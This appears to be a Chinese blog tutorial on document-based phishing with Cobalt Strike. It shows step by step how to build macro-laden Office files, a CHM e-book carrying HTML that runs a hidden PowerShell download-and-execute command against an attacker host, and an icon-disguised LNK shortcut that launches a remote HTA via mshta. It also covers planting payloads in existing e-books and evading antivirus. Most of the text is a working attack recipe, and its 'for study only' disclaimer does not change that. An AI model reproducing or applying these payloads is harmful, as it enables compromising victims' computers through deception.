钓鱼篇-文档钓鱼
钓鱼篇-文档钓鱼
前置知识-CS配置
参考:https://zhuanlan.zhihu.com/p/554654190
文档类钓鱼-办公软件Office-加载宏-CS上线
文档类钓鱼需要解决两个问题:
- 如何加载恶意宏,一般文档打开是默认不加载宏的,如何引导用户加载?
- 考虑免杀的问题。(关于免杀的相关方法,我们会在之后的博客中讲解)
值得注意的是:Office本身也会有漏洞,我们可以利用它自身的漏洞来执行木马,而不用去加载宏(与宏无关)。但是需要Office符合漏洞产生的版本,且没有被打过补丁(可以参考:钓鱼篇-其他钓鱼)。
Word
如果对方Word没有加载宏,我们可以采用如下方式绕过:
- 采用启用宏的Word文档(.docm)格式保存,但是受害者打开后,会提示是否启用宏,如果启用就会上线,否则不会被上线。
- 采用doc格式保存,但是受害者打开后,会提示是否启用宏,如果启用就会上线,否则不会被上线。这种方式有一个好处:任何版本的Office软件都可以打开,因为Office软件会向下兼容。(推荐!)
需要注意的是:老版本的Office套件:97-2003是默认支持宏运行的,但是仍需要用户同意是否启用宏
使用CS进行如下操作:
- 攻击-生成后门-Office宏。
- 设置监听器。
- 将宏设置在word文档中,采用.docm或.doc格式保存。
- 当受害者打开word文档并选择启用宏,就会被上线。
监听器设置:
当受害者打开恶意Word的时候,就会被上线到服务端的2222端口。
复制宏代码:
根据上述步骤,创建恶意word,将复制的宏搞进去,另存为docm格式。
模拟受害者打开该文件,提示是否启用宏,我们单击启用,就会上线。
doc格式也是如此,这里不再赘述。
Excel
如果对方Excel没有加载宏,我们可以采用如下方式绕过:
- 采用.xlsm格式保存
- 采用.xls格式保存
- 各种格式保存的特点跟Word一致,这里不再讲解。
PPT
如果对方PPT没有加载宏,我们可以采用如下方式绕过:
- 采用.pptm格式保存
- 采用.ppt格式保存
- 各种格式保存的特点跟Word一致,这里不再讲解。
Word模板
如果对方Word模板没有加载宏,我们可以采用如下方式绕过:
- 采用.dotm格式保存
- 采用.dot格式保存
- 各种格式保存的特点跟Word一致,这里不再讲解。
Office的免杀问题
这里可以参考免杀对抗章节。
文档类钓鱼-电子书CHM-加载JS&PS-CS上线
制作方法
CHM木马一般都是CHM调用JS加载命令执行完成的。实际上CHM就是html页面的集合体。
具体步骤如下:
- 先构造恶意html文件,调用js加载CS中的payload
- 使用easyCHM工具,将恶意html文件制作为CHM电子书
- 受害者打开该电子书,那么就会被上线。
创建恶意html文件,放入如下内容:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",填入生成的PS上线命令,记得看注意事项文本">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
生成payload,放到恶意html文件中。
- 攻击->Web钓鱼->Web投递
单击运行,生成一段命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.118.129:80/a'))"
这段命令的作用:在CS上生成一个站点,上面有一个木马,调用该命令下载木马并执行。
在CS上生成的站点
将该命令放到恶意html文件中,替换中文部分。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<!-- 去掉双引号、命令后面加上逗号 -->
<PARAM name="Item1" value=",powershell.exe,-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.118.129:80/a'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用easyCHM打开该恶意html文件,制作电子书
- 新建工程->导入恶意html所在的文件夹->对该html文件进行编译->生成CHM
当受害者打开该CHM文件时,就会被上线
如何将现成的CHM电子书植入木马?
-
使用easyCHM工具将CHM电子书进行解压、反编译。
-
修改html文件,加载CS中的payload。
-
再次进行编译,当受害者打开该电子书,那么就会被上线。
-
我们可以使用hugechm工具来解压chm文件。
-
解压后,使用easyCHM打开该目录
将恶意html嵌入到其中一个页面中,重新进行编译,生成一个新的CHM文件。
当打开该文件之后,电脑就被上线了。
注:如果easyCHM不行的话,可以考虑hugeCHM工具。
CHM免杀
在用CS生成payload时,有两种模式可以选择
- 利用powershell上线
- 利用bitsadmin上线
执行CHM木马一般遵循如下步骤
- 调用命令
- 下载木马
- 执行木马
- 上线
在这些步骤中,杀毒软件会在调用命令时和下载、执行木马时拦截。对于拦截如何执行免杀,请参考免杀对抗章节。
免杀的简单思路:
- 混淆替换powershell、bitsadmin certutil(绕过调用命令拦截)
- 将原下载的后门文件取代为我们自己制作的免杀后门(绕过下载、执行木马时拦截)
文档类钓鱼-快捷方式LNK-加载HTA-CS上线(自带免杀效果)
制作方法
- 创建快捷方式
- 生成HTA并上传
- 属性更改目标执行
- 属性更改图标伪装
创建快捷方式:
生成Payload:
攻击->生成后门->HTA文档->powershell/executable->evil.hta
使用CS的文件托管功能,将木马上传到站点上去,构造下载地址。
下载URL:
http://192.168.118.129:82/download/file.ext
修改快捷方式,调用windows的mshta命令进行下载:
C:\Windows\System32\mshta.exe http://192.168.118.129:82/download/file.ext
单击确定后,修改图标,使其更加逼真。
当受害者单击这个快捷方式时,就会被上线。
LNK的免杀问题
这种方式有个特点:由于通过mshta命令加载远程木马,他会先执行再下载。因此,哪怕杀毒软件杀了下载后的木马,也会被上线。
我们对于下载之后的木马,如果要进行免杀的话,一般思路:
- powershell混淆
- 函数名替换,目的是绕过关键字检测(shellcode关键字等)
- 将shellcode进行base64编码,然后再解码绕过(shellcode混淆)。
- vba混淆
- ....
具体内容请参考免杀对抗章节。
致谢
https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click
免责声明
本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现